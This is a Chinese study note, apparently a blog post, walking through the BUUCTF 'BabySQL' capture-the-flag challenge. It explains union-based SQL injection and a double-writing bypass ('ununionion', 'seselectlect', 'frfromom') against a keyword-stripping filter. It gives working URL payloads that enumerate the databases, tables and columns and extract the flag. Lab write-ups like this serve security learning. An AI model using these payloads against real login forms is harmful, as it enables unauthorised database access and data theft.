【学习笔记 27】 buu [极客大挑战 2019]BabySQL

0x00 知识点

  1. union injection(联合注入)
  2. 双写注入绕过

0x01 知识点详解

1. 什么是union injection(联合注入)?
答:详情请查看我的第23篇学习笔记
2.什么是双写绕过?
答:这里推测是利用replace函数将检索到第一个关键词替换为空格,但是当我们重复书写后就可以绕过。例如:我们可以将union替换为ununionion来进行绕过。

0x02 解题思路

  1. 登录网站查看网站
    在这里插入图片描述看这个网站有点像之前做的那道lovesql那道题,再加上名字,不用想,肯定是注入了。先用万能密码尝试,但是发现并不能用。在这里插入图片描述都是显示错误的用户名密码,但是看到url栏里的传参,感觉是在用户名或者密码里直接进行注入。
  2. 这里我们就用用户名admin,密码1’进行登录,不出意外返回这是错误的用户名密码。
    这里我直接在密码后面利用union select进行查询。
?username=admin&password=1' union select 1%23

在这里插入图片描述可以看到这里显示说你相当于注入了一个1#(这里注意一下因为是在url输入所以这里的#要用url编码的%23代替)所以,可以看出union select被过滤,但是由于不知道源码也不知道是把union,select直接写入黑名单,还是可以利用替换的方式代替了。

  1. 尝试双写绕过和大小写绕过,最后发现只需要双写绕过就可以了,构造payload
?username=admin&password=1' ununionion seselectlect 1%23

在这里插入图片描述可以看到回显发生变化,显示的是字段数有误,那就添加字段数,直到回显再次改变为止。最后发现,当字段数为三的时候回显发生改变。payload如下

?username=admin&password=1' ununionion seselectlect 1,2,3\ %23

在这里插入图片描述并且知道了这里的2,3就是注入点。

  1. 接下来就是流程化的查询过程
    先查数据库
?username=admin&password=1' ununionion seselectlect 1,2,database() %23

在这里插入图片描述接下来查看所有的数据库

?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

在这里插入图片描述感觉flag应该是在ctf库里。
继续查表,这里就查看ctf表
这里注意,因为from,or,where被替换,所以也要对from,where,以及information中的or进行双写

 ?username=admin&password=1'ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

在这里插入图片描述回显中看到flag,那就继续查字段。

?username=admin&password=1'ununionion seselectlect 1,2,
group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere 
 table_name="Flag"%23

在这里插入图片描述接下来爆数据

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag) frfromom (ctf.Flag)%23

在这里插入图片描述得到结果。

猜你喜欢

转载自blog.csdn.net/weixin_43553654/article/details/107629545